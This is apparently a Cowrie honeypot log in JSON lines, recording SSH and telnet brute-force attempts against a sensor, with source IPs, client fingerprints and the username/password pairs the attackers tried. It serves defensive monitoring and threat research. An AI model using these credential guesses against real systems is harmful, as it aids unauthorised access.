{"eventid":"cowrie.session.closed","duration":41.94774580001831,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:38.045046Z","src_ip":"170.64.224.25","session":"a4e05ce495d9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456~","message":"login attempt [root/Aa123456~] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:38.658546Z","src_ip":"222.108.100.117","session":"109aea7540f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:39.862572Z","src_ip":"222.108.100.117","session":"109aea7540f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":47366,"dst_ip":"159.203.135.109","dst_port":22,"session":"198ffe732ad3","protocol":"ssh","message":"New connection: 103.27.238.114:47366 (159.203.135.109:22) [session: 198ffe732ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:40.074026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:40.077862Z","src_ip":"103.27.238.114","session":"198ffe732ad3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:40.354119Z","src_ip":"103.27.238.114","session":"198ffe732ad3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"politika","message":"login attempt [root/politika] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:41.177910Z","src_ip":"103.27.238.114","session":"198ffe732ad3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:42.454848Z","src_ip":"103.27.238.114","session":"198ffe732ad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":56938,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e0ecd1dbb50","protocol":"ssh","message":"New connection: 91.92.40.4:56938 (10.17.0.5:22) [session: 3e0ecd1dbb50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:42.831083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:42.974667Z","src_ip":"91.92.40.4","session":"3e0ecd1dbb50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:42.977792Z","src_ip":"91.92.40.4","session":"3e0ecd1dbb50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:43.496328Z","src_ip":"91.92.40.4","session":"3e0ecd1dbb50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:44.798364Z","src_ip":"91.92.40.4","session":"3e0ecd1dbb50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60028,"dst_ip":"159.203.135.109","dst_port":23,"session":"b739bc363255","protocol":"telnet","message":"New connection: 170.64.224.25:60028 (159.203.135.109:23) [session: b739bc363255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:57.355204Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.189.255","src_port":48022,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3a45182cb21","protocol":"ssh","message":"New connection: 208.109.189.255:48022 (159.203.135.109:22) [session: a3a45182cb21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:57.452967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:57.458069Z","src_ip":"208.109.189.255","session":"a3a45182cb21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:57.522956Z","src_ip":"208.109.189.255","session":"a3a45182cb21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"H3d3r@!M@st3r#P@ss","message":"login attempt [root/H3d3r@!M@st3r#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:57.719254Z","src_ip":"208.109.189.255","session":"a3a45182cb21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":39252,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed657c70b0bc","protocol":"ssh","message":"New connection: 5.182.83.231:39252 (10.17.0.5:22) [session: ed657c70b0bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:57.777826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:57.781624Z","src_ip":"5.182.83.231","session":"ed657c70b0bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:58.038164Z","src_ip":"5.182.83.231","session":"ed657c70b0bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jz123","message":"login attempt [root/jz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:58.495215Z","src_ip":"5.182.83.231","session":"ed657c70b0bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:58.786218Z","src_ip":"208.109.189.255","session":"a3a45182cb21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:21:59.614712Z","src_ip":"5.182.83.231","session":"ed657c70b0bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":14818,"dst_ip":"159.203.135.109","dst_port":22,"session":"6faf84d26fc9","protocol":"ssh","message":"New connection: 194.59.206.2:14818 (159.203.135.109:22) [session: 6faf84d26fc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:00.929909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:00.934493Z","src_ip":"194.59.206.2","session":"6faf84d26fc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:01.021654Z","src_ip":"194.59.206.2","session":"6faf84d26fc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:01.115796Z","src_ip":"194.59.206.2","session":"6faf84d26fc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.116.158","src_port":35728,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4450ad42ffb","protocol":"telnet","message":"New connection: 167.172.116.158:35728 (159.203.135.109:23) [session: b4450ad42ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:03.845054Z"}
{"eventid":"cowrie.session.closed","duration":44.32063961029053,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:04.790862Z","src_ip":"170.64.224.25","session":"a70b17a9d4d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.18.133","src_port":35030,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc3daeede6a9","protocol":"ssh","message":"New connection: 157.230.18.133:35030 (159.203.135.109:22) [session: fc3daeede6a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:13.723582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:13.727186Z","src_ip":"157.230.18.133","session":"fc3daeede6a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:13.814146Z","src_ip":"157.230.18.133","session":"fc3daeede6a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neon","password":"neon123","message":"login attempt [neon/neon123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:14.180813Z","src_ip":"157.230.18.133","session":"fc3daeede6a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:15.268076Z","src_ip":"157.230.18.133","session":"fc3daeede6a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.690304040908813,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:17.535244Z","src_ip":"167.172.116.158","session":"b4450ad42ffb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.201.12","src_port":41544,"dst_ip":"159.203.135.109","dst_port":22,"session":"60d3d9815541","protocol":"ssh","message":"New connection: 161.248.201.12:41544 (159.203.135.109:22) [session: 60d3d9815541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:19.415184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:19.419318Z","src_ip":"161.248.201.12","session":"60d3d9815541","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:19.675215Z","src_ip":"161.248.201.12","session":"60d3d9815541","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qa123456","message":"login attempt [root/Qa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:20.738261Z","src_ip":"161.248.201.12","session":"60d3d9815541","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":12438,"dst_ip":"10.17.0.5","dst_port":22,"session":"65619398b2eb","protocol":"ssh","message":"New connection: 38.93.206.2:12438 (10.17.0.5:22) [session: 65619398b2eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:21.225521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:21.230647Z","src_ip":"38.93.206.2","session":"65619398b2eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:21.281078Z","src_ip":"38.93.206.2","session":"65619398b2eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a159357","message":"login attempt [root/a159357] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:21.440994Z","src_ip":"38.93.206.2","session":"65619398b2eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:21.998943Z","src_ip":"161.248.201.12","session":"60d3d9815541","protocol":"ssh"}
